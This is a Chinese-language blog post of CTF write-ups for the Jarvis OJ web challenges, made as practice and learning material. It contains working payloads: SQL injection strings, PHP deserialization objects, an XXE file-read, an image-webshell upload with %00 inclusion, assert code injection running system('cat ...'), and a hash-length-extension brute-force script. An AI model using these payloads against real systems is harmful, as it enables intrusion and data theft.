title: Jarvis OJ Web
date: 2019-05-18 14:06:08
tags:
- CTF
- web
- Jarvis OJ
categories:
- CTF
- Jarvis
- Web
Jarvis OJ Web部分题目的write up
前言
前后零零碎碎算是把Jarvis OJ上面Web部分的题刷完了,收获挺多的,特此记录一下。
Jarvis Oj题目地址:https://www.jarvisoj.com/challenges
0x01 PORT51
题目描述:
题目链接:http://web.jarvisoj.com:32770/
题目链接进去如下图,说要用51端口进行访问。
看到题目我的第一反应是用socket编程。后面发现不用这么麻烦,直接用curl --local-port
即可。
0x02 LOCALHOST
题目描述:
题目链接:http://web.jarvisoj.com:32770/
题目链接点进去提示说,localhost access only!!
这类题目也见过挺多了,直接改请求头里的X-Forwarded-For
即可。
0x03 Login
题目描述:
需要密码才能获得flag哦。
题目链接:http://web.jarvisoj.com:32772/
题目进去是一个输入框,随便输点东西试试,并没有发现什么有用的东西,于是找找源码和请求头、响应头里有没有什么提示。然后再请求头里找到Hint
"select * from `admin` where password='".md5($pass,true)."'"
这里就是利用md5函数的不同输出形式。具体可参照:https://blog.csdn.net/March97/article/details/81222922 这里就不多讲了。
只要输入特定的字符串,如可以输入ffifdyop
和129581926211651571912466741651878684928
即可得到flag
0x04 神盾局的秘密
题目描述:
这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?
题目入口:http://web.jarvisoj.com:32768/
点进链接去是一张图片,仔细看了一遍这张图,发现并没有什么异常。于是开始在源码和请求头里找看有没有提示。
然后在index.php
的源码里发现了图片插入的标签
这个showimg.php和img参数不免让人想到文件包含,把img参数的值base64解密一下,发现是shield.jpg
。于是就可以确定思路,利用showimg.php显示一下index.php看看能不能得到什么信息。
于是访问:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
,aW5kZXgucGhw是index.php的base64加密编码
得到下图结果。
这里的代码应该是index.php
的源码,一部分在注释里,另一部分放在了html里,这里整理一下。
readfile();
?>
这代码看过去,看到shield.php和unserialize就应该明白过来,应该是要用反序列化,shield类的代码在shield.php里面,于是继续用showimg.php显示一下shield.php。
访问:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
,img参数值是shield.php的base64编码
。
得到下图结果。又是一部分代码注释另一部分放在HTML里。再次整理一下shield.php代码
file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\'==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
这段代码里可以看到提示说flag在pctf.php里面,而前面index.php里最后调用的readfile函数具体实现代码也在这里。到这里就很明显了。构造数据,使得反序列化后shield的file参数为pctf.php,然后利用readfile函数输出flag。
生成payload。
最终payload为:
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
得到flag
0x05 IN A Mess
题目描述:
连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。
题目入口:http://web.jarvisoj.com:32780/
这个题,前几天写SQL注入Bypass的时候写过了,这里就不多讲了。
http://miracle778.site/Web%E5%AE%89%E5%85%A8/SQL%E6%B3%A8%E5%85%A5/SQL%E6%B3%A8%E5%85%A5%E4%B9%8BWAF-Bypass.html#more
0x06 RE?
题目描述:
咦,奇怪,说好的WEB题呢,怎么成逆向了?不过里面有个help_me函数挺有意思的哦
附件链接:https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172
这题应该是考知识广度吧,mysql扩展函数 ---- UDF
有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,使用者自行添加的MySQL函数就称为UDF(User Define Function)。
于是只要在mysql上导入,然后调用里面函数。这里附件文件头是EIF开头,所以要在linux下的mysql使用。
先在mysql命令行下用select @@plugin_dir
查看mysql的插件目录
然后把udf.so文件拷贝到该目录下并重命名为udf.so。然后在mysql里使用
create function <函数名> returns string soname
创建外部函数。
如这里,题目描述里面说到有个help_me函数挺有意思,于是使用
create function help_me returns string soname 'udf.so';
创建help_me函数,然后使用select help_me();
调用该函数。
上图是调用了help_me函数的结果,提示说用getflag函数获取flag,于是再执行一次create function getflag returns string soname 'udf.so'
语句,然后调用一次。
0x07 flag在管理员手里
题目描述:
只有管理员才能获得flag,你能想办法获得吗?
题目链接:http://web.jarvisoj.com:32778/
题目进去又是说只有admin能看flag,随便试一下改X-Forwarded-For 127.0.0.1,果不其然失败了。
不过在请求头发现了cookie的值有点东西...
这里把role的值url解码后,是s:5:"guest";
,是guest序列化的结果。
发现这个之后,肯定先把guest改一下admin试一下看看能不能成功,结果当然是失败了,因为cookie里还有另一个变量hsh,它的值是一串哈希字符串,估计是用来校验的。只改role肯定是不行,肯定要改对应的hsh。
但改hsh肯定要知道他是怎么加密的,不然凭空爆破肯定是不行的。于是要找找看有没有源代码。于是用御剑扫扫后台,并没有发现什么东西,于是就只能再扫扫看有没有备份文件或者临时文件,尝试几个.bak、.save、.swp、~
,发现index.php~
可以访问并下载的。
index.php~下载下来分析,发现实质是个.swp
vim异常退出文件,于是改个名用vim恢复一下。最终源码如下
Web 350
Welcome Admin. Your flag is
} else {
echo "Only Admin can see the flag!!
";
}
?>
看一下代码,可以发现,role要反序列化得到admin,hsh要为(salt + role的反置)的md5值。
查了一下资料,发现hsh那部分可以利用md5扩展攻击实现,但是要实现md5扩展攻击,对role肯定是要特殊构造的,而改了role的话,$role ==== admin
又是三个=不能用弱类型比较。于是想到可能要利用unserialize函数。于是对unserialize函数简单测试了一下。
如上图示,我们可以发现,当
s:5:"guest";
被反序列化后,后面接着的内容被忽视掉了。(PS:后面用php7测试了一下,结果一样)
下面是关于md5哈希长度扩展攻击的资料,这里就不多写了。
https://www.cnblogs.com/p00mj/p/6288337.html
https://www.cnblogs.com/pcat/p/5478509.html
看完上面两个链接里的资料后,应该对md5哈希长度扩展攻击即相关工具hashpump有了了解。按道理就应该直接用hashpump生成hsh,然后填入cookie就好。但是哈希长度扩展攻击有一个前提条件,可以不知道salt的值,但是要知道它的长度,这样才能进行填充。
因此这里还要用到python,对salt的长度进行一下爆破,然后用python进行提交,python代码如下。
import requests
import urllib
import os
url = "http://web.jarvisoj.com:32778/"
# 提交请求
def Post(role,hsh,i):
cookie = {'role':role,'hsh':hsh}
r = requests.get(url,cookies=cookie)
# 如果提交的是错误的hsh值得话,错误返回报文长度为210
if len(r.text) != 210:
print("第",i,'次')
print(r.text)
exit()
return
# 计算hash值
cmd = 'hashpump -s 3a4727d57463f122833d9e732f94e4e0 -d \';"tseug":5:s\' -k {} -a \';"nimda":5:s\''
# 开始爆破
for i in range(1,100):
cmd_ = cmd.format(str(i))
res = os.popen(cmd_).readlines()
hsh,role = res[0][:-1],res[1][:-1]
# 需要对role进行反置处理
t1,t2,t3 = role[:12],role[12:-12],role[-12:]
t2 = t2.split('\\x')
t2 = t2[::-1]
t2 = '%'.join(t2)
t2 = '%' + t2[:-1]
role = t3[::-1] + t2 + t1[::-1]
role = role.replace(';','%3b')
print("第",i,'次')
print(role)
Post(role,hsh,i)
代码跑一下,得到结果,salt的长度是12。
0x08 Chopper
题目描述:
小明入侵了一台web服务器并上传了一句话木马,但是,管理员修补了漏洞,更改了权限。更重要的是:他忘记了木马的密码!你能帮助他夺回控制权限吗?
关卡入口:http://web.jarvisoj.com:32782/
题目来源:ISCC2016
题目链接点进去如下图,点击下面的管理员登录,链接指向http://web.jarvisoj.com:32782/admin
,弹了一个框说you are not admin!
,然后页面是403 Forbidden You don't have permission to access /admin/ on this server.
查看admin页面的源码,如下图,发现有行注释,里面有admin的ip。
于是访问这个ip,也是403禁止访问。这条路到这也算断了。
于是返回主页,看看有没有别的消息。发现index.php页面那张图片的img标签导入链接有点蹊跷。
发现图片地址是用proxy.php的url参数导入的。于是想到是不是要用proxy.php来打ssrf。后面发现就是用proxy.php做两个跳转而已。
于是访问http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/
然后发现页面url被重定向为http://web.jarvisoj.com:32782/index.php?url=http://8080av.com
,由此可以确定可以通过proxy.php访问202.5.19.128。
但是通过proxy.php访问202.5.19.128/admin的话,会访问失败。
于是可以试试访问202.5.19.128/proxy.php看看是不是存在,是不是需要跳转两次。结果发现可以访问
到现在可以简单理下思路
http://web.jarvisoj.com:32782/ 下有proxy.php可以跳转访问还有/admin/目录 403 禁止访问
http://202.5.19.128/ 下有proxy.php可以进行跳转
可以推测 flag在 http://web.jarvisoj.com:32782/admin/ 目录下
而用 http://web.jarvisoj.com:32782/proxy.php?url=http://web.jarvisoj.com:32782/admin/ 与直接访问 http://web.jarvisoj.com:32782/admin/ 得到的结果一样,都是弹框 you are not admin
所以推测是要用 http://web.jarvisoj.com:32782/proxy.php 跳 http://202.5.19.128/proxy.php 跳 http://web.jarvisoj.com:32782/admin/ 进行两次跳转。
payload:http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/
跳转结果如下图,you are cloosing
说实话,到这里又懵了,后面看完别人的wp,发现admin/ 目录下还有robots.txt这个文件,于是访问robots.txt文件,内容如下
User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt
于是继续访问trojan.php.txt
,看一下代码先。
"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>
被混淆了,不过没关系,复制下来本地执行一下,看看报错信息。
所以这应该是题目描述里小明的一句话木马。密码是360
知道这个之后,就简单了。
这道题感觉有点那么脑洞(可能是因为菜吧),但是每一步又都有点有理有据。哎,菜逼还是菜呀。
0x09 Easy Gallery
题目描述:
"没有什么防护是一个漏洞解决不了的,如果有,那
就.....
"
题目入口:http://web.jarvisoj.com:32785/
题目进去是一个简单的网站系统。简单浏览测试下,发现总共有两个功能。
第一个功能是上传图片,经过简单测试,发现只能上传jpg和gif格式图片。而且用burp改后缀跟MIME都不可用,猜测是用了文件头校验。
第二个功能是view,通过前面上传图片成功会得到一个图片ID,可以通过输入图片ID和图片类型(jpg、gif)进行查看。
结合这两个功能的测试分析,不难推测,这题应该是通过生成图片马绕过上传得到图片ID,然后利用图片ID进行文件包含连接小马。那么现在最主要的问题就集中在如何得到上传图片的路径和找到进行文件包含的点。
找到上传图片的路径简单,先上传一个正常jpg图片,然后通过图片ID访问一下,测试一下整个流程。可以看到,成功访问。
在图片上右击 在新标签页打开
,得到图片访问路径为http://web.jarvisoj.com:32785/uploads/<图片ID>.<图片类型jpg/gif>
下一个问题就是找到可以进行文件包含的点。通过观察不难发现,Submit和View功能页面的url都是通过?page=
参数进行访问的。
Submit功能的url为http://web.jarvisoj.com:32785/index.php?page=submit
View功能的url为http://web.jarvisoj.com:32785/index.php?page=view
我们可以将page参数赋为图片路径,看看页面返回结果
从返回的warning信息可以看出,服务器会自动把传入的page参数的值后面加上
.php
后缀,限制我们访问除php外的文件,但是这里可以用%00
截断一下。我们把图片ID改成一个不存在的错误ID,然后用%00
截断一下,如果截断成功,则应该会出现xxxx.jpg failed to open...
报错。执行结果如图示,证明此处是可以用%00
截断的。
于是我们生成一个图片马上传试试。copy shell.gif/b + 2.php/a 2.gif
这里shell.gif是一张正常图片,2.php内容为
生成好后,我们上传、截断包含一下,居然提示you should not do this!
。
说明可能我们马可能被检测到了。然后没办法了,只能搜索一波别人的wp。
然后发现把一句话木马改为即可···
另外提一下,这种写法好像php7已经不支持了。
重新生成图片马上传,截断包含即可得flag。
0x10 Simple Injection
题目描述:
很简单的注入,大家试试?
题目入口:http://web.jarvisoj.com:32787/
题目来源:ISCC2016
题目进去是一个登录框。
简单测试下,发现有密码错误和用户名错误两种错误回显。
当输入username=admin&password=123
,页面返回密码错误。
当输入username=admin'&password=123
,页面返回用户名错误。
而输入username=admin' #&password=123
,页面返回密码错误而不是之前的用户名错误,说明' #
没有被过滤。
输入username=admin' and 1=1#
,页面返回用户名错误,说明新增的空格和and可能存在过滤。于是逐步排查,先将空格改为/**/
试试,即输入username=admin'/**/and/**/1=1#
,结果发现页面返回密码错误,即可确定,服务器只过滤了空格。
于是就可以通过页面回显结果进行布尔盲注,以页面返回密码错误为True,返回用户名错误为False。
这一题关于盲注的解法我准备后面文章再拿来当例子讲(后面准备写一篇关于盲注、报错注入的文章)
盲注脚本写在另一篇文章里了,http://miracle778.site/Web安全/SQL注入/SQL注入之布尔盲注.html —— 5/25加
所以这题介绍另一种算是巧解的方法吧。
页面存在两种报错返回结果,用户名错误和密码错误,而且输入除admin外的用户名均提示用户名错误,所以可以肯定admin一个用户,进而猜测它的处理逻辑可能为:通过输入的username作为where条件查询密码,如果存在且查询结果与输入的密码相同即爆flag,如果不匹配则返回密码错误,而如果不存在查询结果就报用户名错误。逻辑代码类似于下面:
$res = query(select password from user where username=$_POST['username']);//query函数为了简便瞎写了
if($res) //查询返回结果不为空集
{
if(fetch($res)===md5($_POST['password'])){ //fetch函数为图简便,也是瞎写的。
echo $flag;
}
else{ //密码不匹配
echo "密码错误";
}
}
else{
echo "用户名错误";
}
于是我们可以输入一个不存在的用户名,结合union select语句手动创建一个密码作为sql查询语句的返回结果,然后密码框处输入我们创建的假密码进行绕过。
例如输入username=miracle778'/**/union(select(123))#&password=123
,结果返回密码错误没有报用户名错误,这说明了我们这个方法是生效的,只是服务器做密码比较的时候可能用了哈希加密,这里推测用了md5加密。于是输入username=miracle778'/**/union(select(md5('123')))#&password=123
,成功得到flag,如下图示。
0x11 api调用
题目描述:
请设法获得目标机器/home/ctf/flag.txt中的flag值。
题目入口:http://web.jarvisoj.com:9882/
题目点进去,是一个输入框
输入测试字符串,然后点击Go,抓个包看看。结果如下图示,发现请求和响应包里的Content-Type都是json形式,而且传入和返回的数据都是json形式。
结合题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值
,想到了利用XXE读取文件。
于是把请求头里的Content-Type改为application/xml
,并传入
进行测试,如下图,发现返回了XML内容。
于是可以确定,此处存在XXE漏洞,然后只需构造payload读取
/home/ctf/flag.txt
即可。
payload:
]
>
&name;
0x12 图片上传漏洞
题目描述:
请设法获取/home/ctf/flag.txt 中的flag值。
(建议使用png文件上传)
题目入口:http://web.jarvisoj.com:32790/
这题好像是利用一个漏洞,没有做,先留着,以后做了再来写。
0x13 PHPINFO
题目描述:
题目入口:http://web.jarvisoj.com:32784/
题目进去就看到了代码,简单扫一眼下来,发现了serialize session
等关键词,猜测跟反序列化有关。而且只要GET传入了phpinfo参数,就会通过构造函数和析构函数,自动调用执行phpinfo()
mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
于是GET传入phpinfo参数,看一下phpinfo内容先。在phpinfo里面找到了session.serialize_handler设置项,如下图,这个选项的全局变量是php_serialize,而index.php代码里通过ini_set('session.serialize_handler', 'php');
改成了php。
这个session.serialize_handler选项,决定php存储session时用的序列化规则格式,而index.php设置的handler和默认的不同,所以会出现问题。
具体原理参考:PHP反序列化与Session
我这里简单讲一下,就是三种不同的handler对应三种不同的存储session的序列化、反序列化格式,如果前后不一致,就会出现安全问题。比如此题,形成原理是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION
的值时 "|"会被当成键值对的分隔符。
简单讲完原理后,我们来找一下这题中的读取、写入session语句。我们可以看到index.php代码里有这么一行session_start();
,读取了session。那有了读取session的语句,就具备了反序列化session攻击爆flag的条件,不过在哪里写入我们的恶意session呢?
这里就又要用到phpinfo了,在phpinfo里面还能找到另一个设置,session.upload_progress.enabled
session.upload_progress.enabled为On意味着当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
于是我们可以本地写一个上传文件表单,post一个name=session.upload_progress的input标签,这样就可以通过修改filename的值达到写入session的目的。表单代码如下
upload
打开burp抓包,把filename修改为我们要写入session里的payload(payload写法具体看前面贴的链接)。
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
继续读取Here_1s_7he_fl4g_buT_You_Cannot_see.php
文件,对应payload如下:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));\";}
得到flag
0x14 WEB?
题目描述:
这么简单的题,是WEB吗?
题目入口:http://web.jarvisoj.com:9891/
好像是个找源码解线性方程的题,留着,后面做。
0x15 [61dctf]admin
题目描述:
题目入口:http://web.jarvisoj.com:32792/
点击题目去,发现只显示hello world
,于是找源码和请求头、响应头,看看有没有提示。结果都没找到,于是用御剑扫一下后台,发现存在robots.txt
访问robots.txt
,内容为Disallow: /admin_s3cr3t.php
。于是继续访问/admin_s3cr3t.php
,直接就得到flag了flag{hello guest}
,wtf? 提交一下居然还真是正确的。。好吧
0x16 [61dctf]inject
题目描述:
题目入口:http://web.jarvisoj.com:32794/
Hint1: 先找到源码再说吧~~
提示说先找到源码再说,于是试一试常见的备份文件临时文件名,比如.bak、.swp、.save、~
等,最后在index.php~
找到,源码如下:
到这里其实只要了解mysql里面反引号的一些使用细节即可做出此题,不多说,看参考文章吧,mysql反引号和单引号区别
关键语句说明如下
desc `table1` `table2`
像上面的sql语句,如果table1存在的话,该语句就不会报错
看回该题的源码,第4行我们可以控制传入的table参数注入desc语句,从而绕过判断。
比如输入 ?table=test` `union select database() limit 1,1
这个时候,index.php处理代码里面第4行会变成
desc `secret_test` `union select database() limit 1,1
因为secret_test存在,第4行会往下执行而不是跳去Hacker函数。第5行会变成
select 'flag{xxx}' from secret_test` `union select database() limit 1,1
之前总结mysql绕过waf的时候,提到过反引号可以代替空格,此处就是这么个作用,所以我们可以传入union语句结合limit限制,输出我们想要注入的语句执行结果。这里limit 1,1是因为,select 'flag{xxx}' from sercet_test
只返回一个查询结果,所以并上union后,union后面并列的查询语句结果从1开始,即limt 1,n
我们输入 ?table=test` `union select database() limit 1,1 测试一下
得到了预期结果,接下来就是union素质三连击,爆表、爆列、爆flag。payload分别如下:
爆表:?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
爆列:?table=test` `union select group_concat(column_name) from information_schema.columns where table_schema=database() limit 1,1
爆flag:?table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1
0x17 [61dctf]register
题目描述:
题目入口:http://web.jarvisoj.com:32796/
Hint1: 二次注入
Hint2: register 二次注入在country
这题有点顶,先留着,后面再来写。
0x18 [61dctf]babyphp
题目描述:
题目入口:http://web.jarvisoj.com:32798/
题目点进去是一个博客,把该点的按钮链接都点点掉,发现了一些信息。
说用到了git,这就想到了git源码泄露,于是搜索学习一波,Git泄露的总结
访问http://web.jarvisoj.com:32798/.git/
,显示403 Forbidden,说明应该是存在.git目录的,于是用Githack下载一下源码。
源码目录里有一个flag.php,打开看看有没有flag,结果当然是没有,这里的flag被注释掉了。于是只能看一下index.php的代码,index.php部分代码如下
可以看到有两行assert语句,所以就想到了代码注入。因为我们能控制$page
变量从而影响$file
变量,所以此处可以进行注入。第一个assert语句可以写成如下形式
assert("strpos('templates/{$page}.php', '..') === false")
,当 $page=flag'.system("ls ./").'
时
该语句变为assert("strpos('template/flag'.system("ls ./").'php','..')===false)
,即$file
变量变为了三个字符串拼接的结果。从而达到执行system函数的目的
所以最终payload:?page=flag'.system("cat templates/flag.php").'
,然后再在查看网页源代码里找到flag
0x19 [61dctf]babyxss
题目描述:
题目入口:http://web.jarvisoj.com:32800/
Hint1: csp bypass
以后来做。。